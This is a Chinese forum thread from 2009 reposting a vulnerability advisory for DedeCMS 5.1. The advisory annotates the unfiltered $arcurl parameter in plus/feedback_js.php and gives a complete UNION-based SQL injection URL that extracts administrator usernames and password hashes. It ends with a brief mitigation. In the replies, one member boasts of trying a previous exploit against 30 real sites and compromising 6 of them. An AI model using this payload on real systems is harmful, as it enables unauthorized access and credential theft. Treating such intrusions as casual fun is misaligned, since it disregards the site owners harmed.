织梦5.1漏洞 28号新爆

网络寄生虫

http://sebug.net/vulndb/12527/

影响版本:
DEDECMS 5.1漏洞描述:
同样是在magic_quotes_gpc=off的情况下可用

此漏洞可拿到后台管理员的帐号和加密HASH,漏洞存在文件plus/feedback_js.php,未过滤参数为$arcurl
......
$urlindex = 0;
if(empty($arcID))
{
$row = $dlist->dsql->GetOne("Select id From `#@__cache_feedbackurl` where url='$arcurl' ");
//此处$arcurl没有过滤
if(is_array($row)) $urlindex = $row['id'];
//存在结果则把$urlindex赋值为查询到的$row['id'],我们可以构造SQL语句带入下面的操作中了
}
if(empty($arcID) && empty($urlindex)) exit();
//如果$arcID为空或$urlindex为空则退出
......
if(empty($arcID)) $wq = " urlindex = '$urlindex' ";
//我们让$arcID为空,刚才上面执行的结果就会被赋值给$wq带入下面的操作中执行了.
else $wq = " aid='$arcID' ";
$querystring = "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc";
$dlist->Init();
$dlist->SetSource($querystring);
......
看一下利用方法吧,嘿,为了闭合我用了两次union<*参考
http://www.st0p.org/blog/archive ... ck_js-php-0day.html
*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='SEBUG安全建议:
sebug临时解决办法
设置
magic_quotes_gpc=on// sebug.net [2009-10-28]

啊猪同学

刚升级。。该不是这个吧？

网络寄生虫

现在我经常关注 漏洞库 发现满好玩的!!!

http://www.milw0rm.com/

http://sebug.net/vuldb/

遍地阳光

让大c把你弄成通讯员，专门为代购提供最新的漏洞信息。

cpuer

原帖由 遍地阳光 于 2009-10-28 20:25 发表
让大c把你弄成通讯员，专门为代购提供最新的漏洞信息。

呵呵，好主意。

cpuer

看来DEDECMS三天两头爆漏洞啊。

遍地阳光

所以我们论坛亟须通讯员啊。

ATOM

好在我用5.5

网络寄生虫

5.5上次真走运 试了 30个站  成功了 6个  其中就有你

遍地阳光

看到你的头像。无语了。。。